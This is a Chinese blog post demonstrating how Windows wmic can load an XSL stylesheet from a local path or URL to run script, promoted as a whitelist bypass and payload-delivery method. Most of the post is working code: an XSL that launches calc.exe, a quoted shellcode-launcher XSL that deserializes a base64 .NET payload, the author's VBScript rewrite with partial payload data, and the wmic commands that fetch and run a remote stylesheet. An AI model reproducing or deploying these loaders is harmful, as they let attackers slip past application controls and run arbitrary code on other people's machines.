发布时间:2026-07-21阅读(2)
Casey Smith@subTee在博客分享的一个技巧,使用wmic能够从本地或从URL调用XSL(可扩展样式表语言)脚本。这个发现很有用,不仅可以作为一种白名单绕过的方法,而且可以作为payload来使用(从URL调用XSL脚本,利用XSL执行exe、shellcode、powershell脚本)。
本地简单的一个wmic.xsl文件内容如下:
<?xml version=1.0?><stylesheetxmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"xmlns:user="placeholder"version="1.0"><output method="text"/><ms:script implements-prefix="user" language="JScript"><![CDATA[var r = new ActiveXObject("WScript.Shell").Run("calc.exe");]]> </ms:script></stylesheet>
远程执行命令:wmic os get /FORMAT:"https://example.com/wmic.xsl"
或本地执行命令:wmic os get /FORMAT:"d:\wmic.xsl"
均会弹出计算器,如图所示:

最近在github上获得star很多的点赞教程,micro8.gitbook.io/micro8/contents-1/71-80/80-ji-yu-bai-ming-dan-wmic-zhi-hang-payload-di-shi-ji,也提到了这个用法。它原文中是用了一个执行shellcode的Micropoor_Win7.xsl,代码如下:
<?xml version=1.0?><stylesheetxmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas‐microsoft‐com:xslt"xmlns:user="placeholder"version="1.0"><output method="text"/><ms:script implements‐prefix="user" language="JScript"><![CDATA[ function setversion() {}function debug(s) {}function base64ToStream(b) {var enc = new ActiveXObject("System.Text.ASCIIEncoding");var length = enc.GetByteCount_2(b);var ba = enc.GetBytes_4(b);var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform");ba = transform.TransformFinalBlock(ba, 0, length);var ms = new ActiveXObject("System.IO.MemoryStream");ms.Write(ba, 0, (length / 4) * 3);ms.Position = 0;return ms;} var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy";这是一串base64代码,我省略了很多。var entry_class = ShellCodeLauncher.Program; try {setversion();var stm = base64ToStream(serialized_obj);var fmt = new ActiveXObject(System.Runtime.Serialization.Formatters.Binary.BinaryFormatter);var al = new ActiveXObject(System.Collections.ArrayList);var d = fmt.Deserialize_2(stm);al.Add(undefined);var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class); } catch (e) {debug(e.message);} ]]> </ms:script></stylesheet>
代码中的哪些base64是什么呢?土司论坛中我看到了一篇文章,竟然说是exe文件的base64编码,说是用任意一个exe编码成base64,然后替换就可以了,这个是不对的。我在我头条号上更正吧。
这个是一个dll的base编码(当然用exe也可以),不过这个文件是有要求的,注意代码中的这一句”var entry_class = ShellCodeLauncher.Program; “,说明这是一个类名为ShellCodeLauncher.Program的net程序的base64编码。
我写了一个简单的示例:

这个文件生成dll后再编码就可以调用了。注意这个dll的类名为EvalPeak。
所以我的xsl文件代码如下,由于我熟悉vbs,所以我是用vbs写的。
<?xml version=1.0?><stylesheetxmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt"xmlns:user="placeholder"version="1.0"><output method="text"/><ms:script implements-prefix="user" language="VBScript"><![CDATA[Sub Debug(s)WScript.Echo sEnd SubSub SetVersionDim shellSet shell = CreateObject("WScript.Shell")Dim ver : ver = "v4.0.30319"On Error Resume Nextshell.RegRead "HKLM\SOFTWARE\\Microsoft\.NETFramework\v4.0.30319\"If(Err.Number <> 0)Thenver = "v2.0.50727"Err.ClearEnd Ifshell.Environment("Process").Item("COMPLUS_Version") = verEnd SubFunction Base64ToStream(b)Dim enc, length, ba, transform, msSet ms = CreateObject("System.IO.MemoryStream")Set enc = CreateObject("System.Text.ASCIIEncoding")Set transform = CreateObject("System.Security.Cryptography.FromBase64Transform")length = enc.GetByteCount_2(b)ms.Write transform.TransformFinalBlock(enc.GetBytes_4(b), 0, length), 0, ((length / 4) * 3)ms.Position = 0Set Base64ToStream = msEnd FunctionSub Run()Dim s, entry_classs = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"s = s & "AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"s = s & "dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"s = s & "ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"s = s & "AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"s = s & "RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"s = s & "eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"‘省略了好多base64字符串entry_class = "EvalPeak" Dim fmt, al, d, oSet al = CreateObject("System.Collections.ArrayList")Set fmt = CreateObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter")al.Add fmt.SurrogateSelectorSet d = fmt.Deserialize_2(Base64ToStream(s))Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class)o.lcx "calc.exe" End SubSetVersion()On Error Resume NextRun()If(Err.Number <> 0)ThenDebug Err.DescriptionErr.ClearEnd If]]> </ms:script></stylesheet>
这个代码按wmic格式运行后也会弹出计算器。
如果你不会.net程序,不会代码怎么办。其实也有现成的生成xsl工具,就是SharpShooter。

这个工具具体如何利用,我们下次再聊。
Copyright © 2024 有趣生活 All Rights Reserve吉ICP备19000289号-5 TXT地图HTML地图XML地图